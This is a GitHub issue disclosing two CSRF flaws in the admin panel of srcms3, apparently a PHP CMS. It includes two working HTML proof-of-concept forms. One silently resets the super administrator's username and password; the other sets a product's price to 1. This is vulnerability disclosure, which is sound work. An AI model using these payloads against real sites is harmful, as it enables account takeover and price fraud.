Skip to content
This repository has been archived by the owner on Apr 14, 2021. It is now read-only.

Two CSRF vulnerabilities that can change the super administrator's username,password and the prices of goods #1

Open
zsnowman opened this issue Nov 15, 2018 · 0 comments

Comments

@zsnowman
Copy link

When the super administrator logged in, there are two important POST methods without CSRF protection which can change his username,password and the prices of goods respectively. This can be achieved by cheating the super administrator to open the 2 pages when he logged in.

poc1(Change the username and the password)

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.10.21.66/srcms3/admin.php?m=Admin&c=manager&a=update" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="email" value="1&#64;123456qq&#46;com" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

poc2(Change the price of goods)

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.10.21.66/srcms3/admin.php?m=Admin&c=gifts&a=update" method="POST">
      <input type="hidden" name="title" value="iphonex" />
      <input type="hidden" name="url" value="&#46;&#47;Public&#47;Index&#47;img&#47;400x500&#47;03&#46;jpg" />
      <input type="hidden" name="price" value="1" />
      <input type="hidden" name="sort" value="graphic" />
      <input type="hidden" name="id" value="6" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant